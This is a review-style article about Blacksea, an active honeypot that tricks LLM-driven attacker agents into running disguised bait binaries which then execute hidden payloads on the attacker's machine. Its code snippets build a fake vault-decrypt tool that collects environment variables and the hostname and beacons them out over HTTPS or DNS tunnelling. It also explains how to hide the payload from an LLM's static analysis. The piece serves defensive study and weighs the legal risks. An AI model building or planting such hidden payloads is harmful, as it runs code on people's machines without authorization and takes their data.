Blacksea: The Active Honeypot That Exploits LLM Agents to Hack Back

Hook

Traditional honeypots watch attackers. Blacksea gets shell access on their machines. It's the first open framework designed to exploit how LLMs make trust decisions—and the legal gray area is the point.

Context

The threat landscape shifted when attackers started using LLMs to scale reconnaissance. AI agents don't just scan ports or brute-force credentials—they read documentation, parse configuration files, evaluate risk-reward tradeoffs, and decide whether to execute discovered binaries. Traditional honeypots like Cowrie or Dionaea simulate vulnerable services to observe attacker behavior, but they're purely passive. You see what the attacker does in your sandbox, but you learn nothing about their infrastructure, tooling, or who they are.

Canary tokens solved part of this by creating trackable artifacts (fake AWS keys, bogus documents) that beacon when used, but they still only tell you someone took the bait. You don't get attribution beyond an IP address. Blacksea was built for the specific problem of LLM-driven attacks: agents that reason about whether to trust artifacts but optimize for speed and token efficiency over paranoid security practices. It doesn't just detect these agents—it exploits the cost-benefit calculations LLMs make to achieve code execution on attacker infrastructure. The moment your bait phones home, you're running inside their environment, fingerprinting their harness, and collecting intelligence passive defenses can't reach.

Technical Insight

Blacksea's architecture assumes your internet-facing components will be compromised. The entire security model is built around cryptographic isolation between three layers: a stateless edge receiver (written in Go) that stamps metadata but holds zero decryption keys, a Python brain running on trusted infrastructure that performs all cryptographic operations, and Postgres for durable storage. When a bait beacons, the edge stamps non-repudiable metadata—IP address, user agent, timestamp—but can't read the encrypted payload. Even if an attacker fully compromises an edge node, they get no keys, no plaintext intelligence records, and no ability to forge authenticated beacons.

The bait generation process creates per-instance artifacts with unique Ed25519 signing keys and ChaCha20-Poly1305 encryption. Here's the conceptual flow for deploying a password vault bait:

# Generate instance-specific keypair
from blacksea.crypto import generate_bait_keypair
from blacksea.vessels import PWCryptVessel

# Each bait gets independent crypto material
private_key, public_key = generate_bait_keypair()

# Create a vessel that looks like a password vault
vessel = PWCryptVessel(
    public_key=public_key,
    edge_url="https://edge.yourinfra.com/beacon",
    dns_tunnel="beacon.yourinfra.com",  # Fallback if HTTPS blocked
    decoy_passwords=[
        {"service": "prod-db", "username": "admin"},
        {"service": "aws-root", "username": "deploy-bot"},
    ]
)

# Generate the binary and companion files
vessel.forge(
    output_path="./vault-decrypt",
    staging_context="database-backup"  # Adds realistic shell history, README
)

The generated binary appears to be a legitimate vault decryption tool. When an LLM agent discovers it—say, in a fake backup directory on a honeypot system—the model has to decide: reverse-engineer this binary (expensive in tokens and time) or just run it to see if it decrypts the password vault (cheap, immediate results). Blacksea weaponizes the second choice.

The payload/listener pattern decouples execution logic from beacon parsing. Payloads are arbitrary code that runs on the attacker's machine—fingerprinting their Python version, collecting environment variables, enumerating running processes. Listeners run inside the brain and transform encrypted callbacks into structured intel:

from blacksea.listeners import HTTPSListener
from blacksea.payloads import AgentFingerprintPayload

# Define what code runs on attacker infrastructure
payload = AgentFingerprintPayload()
payload.collect("sys.version")  # Python version
payload.collect("os.environ")   # Environment variables
payload.collect("socket.gethostname()")  # Hostname
payload.exfil_via_https()  # Beacon method

# Listener waits for beacons, decrypts with private_key
listener = HTTPSListener(private_key=private_key)
listener.on_beacon(lambda intel: store_to_postgres(intel))

When the attacker's LLM decides to execute ./vault-decrypt, the binary performs its advertised function (attempting to decrypt a vault file) but also runs the payload invisibly. The payload code is hidden in metadata parsing paths—reading file headers, validating magic bytes—operations that look like normal cryptographic processing to an LLM analyzing the code but trigger beaconing when actually executed.

The staging vessel system provides deception depth. The same payload can masquerade as different tools by swapping wrapper binaries and companion files. A database-backup staging context generates shell history fragments showing realistic backup operations, a README explaining restore procedures, and even fake log files. An LLM agent analyzing the directory sees operational context that supports the binary's claimed purpose. This targets the semantic gap: code an LLM can reason about statically versus code that executes differently.

Blacksea also implements DNS tunneling as a fallback beacon channel. If the attacker's infrastructure blocks HTTPS egress (common in air-gapped red team environments), the payload falls back to encoding intel in DNS queries: <encrypted-payload>.beacon.yourinfra.com. Your DNS server receives the subdomain, forwards it to the brain for decryption. This means baits can phone home even from heavily firewalled environments where HTTP callbacks would fail.

Gotcha

Blacksea's entire strategy collapses if attackers implement basic sandboxing hygiene. Running baits in disposable VMs or instrumented containers reveals the beacon behavior before real infrastructure is exposed. The system assumes attackers execute binaries on their actual working machines—laptops, persistent infrastructure—but sophisticated red teams will test in isolated networks first. You'll get a beacon from 10.0.0.5 and learn nothing useful.

The payload invisibility mechanism also has a shelf life. Right now, most LLMs struggle to fully reason about compiled binaries or trace execution paths through obfuscated code. They'll read a function that 'validates file headers' and miss that it's also encoding telemetry. But as models improve at reverse engineering and get fine-tuned on malware analysis datasets, this advantage erodes. The 'more expensive to reverse than to execute' calculation flips when agents can accurately static-analyze binaries through their context windows. You're betting on current LLM limitations that won't last.

There's also the legal and ethical minefield. The moment a bait beacons, you're running code on someone else's machine without authorization. Depending on jurisdiction, that's Computer Fraud and Abuse Act territory or worse. Blacksea is counter-offensive tooling, not passive detection. You need legal review, clear rules of engagement, and organizational willingness to operate in gray areas. Many security teams can't or won't cross that line, which makes the tool operationally off-limits regardless of technical merit.

Verdict

Use if: You're a SOC team facing LLM-driven reconnaissance at scale—automated agents and AI-assisted operators who prioritize speed over paranoid security practices. You've already made the organizational decision to pursue active defense measures and have legal cover for running code on attacker infrastructure. Your threat model includes adversaries who will execute discovered binaries on their working machines rather than isolated sandboxes, and you need attribution beyond IP addresses—fingerprints of their harnesses, toolchains, and infrastructure. Skip if: Your adversaries are human red teamers who sandbox every unknown binary, or you lack the operational maturity and legal framework to handle active counter-offensive measures. Also skip if your organization can't tolerate the reputational risk of 'hacking back' or if your threat model doesn't specifically include LLM-augmented attackers (traditional honeypots serve you better). Finally, skip if you need a fire-and-forget solution—Blacksea requires ongoing operational effort to stage convincing deception contexts and respond to intelligence as it arrives.